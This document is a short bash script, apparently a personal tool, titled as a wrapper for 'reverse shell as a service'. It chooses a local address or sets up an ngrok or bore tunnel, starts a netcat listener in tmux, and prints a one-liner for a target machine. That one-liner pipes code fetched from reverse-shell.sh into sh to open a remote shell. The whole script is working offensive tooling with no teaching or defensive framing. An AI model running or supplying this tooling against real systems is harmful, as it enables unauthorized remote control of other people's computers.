wrapper for reverse shell as a service

wrap-rs.sh

#!/usr/bin/env bash

if [[ -z "${TMUX}" ]]; then
    echo "Must be run in tmux"
    exit 92
fi

IFS=$'\n'
IPS=$(ip -brief -j -c address | jq -r '.[] | select((.operstate=="UP") or (.operstate=="UNKNOWN")) | "\(.ifname): \(.addr_info[0].local)\n"')
IP_CHOICE=$(gum choose $IPS "tunnel: ngrok" "tunnel: bore")

LPORT=$(gum input --placeholder "enter local port")
PORT=""
ENDPOINT=""

if [ "$IP_CHOICE" = "tunnel: ngrok" ]; then
    # launch ngrok, retrieve endpoint + port
    tmux split-window -v "ngrok tcp ${LPORT}"
    sleep 4 # wait for ngrok to start
    NGROK_ENDPOINT_TCP=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | jq -r ".tunnels[0].public_url")
    NGROK_ENDPOINT="$(echo $NGROK_ENDPOINT_TCP | cut -d ':' -f 2-3 | cut -d '/' -f 3-)"
    TUNNEL_ENDPOINT="${NGROK_ENDPOINT}"
    ENDPOINT="$(echo $TUNNEL_ENDPOINT | cut -d ':' -f 1)"
    PORT="$(echo $TUNNEL_ENDPOINT | cut -d ':' -f 2)"
elif [ "$IP_CHOICE" = "tunnel: bore" ]; then
    tmux split-window -v "bore local ${LPORT} --to bore.pub"
    PORT=$(gum input --placeholder "enter bore.pub remote_port given")
    ENDPOINT="bore.pub"
else
    ENDPOINT=$(echo $IP_CHOICE | cut -d ":" -f 2 | cut -d " " -f 2)
    PORT=$LPORT
fi

tmux split-window -h "nc -nvlp ${LPORT}"

echo "curl https://reverse-shell.sh/${ENDPOINT}:${PORT} | sh"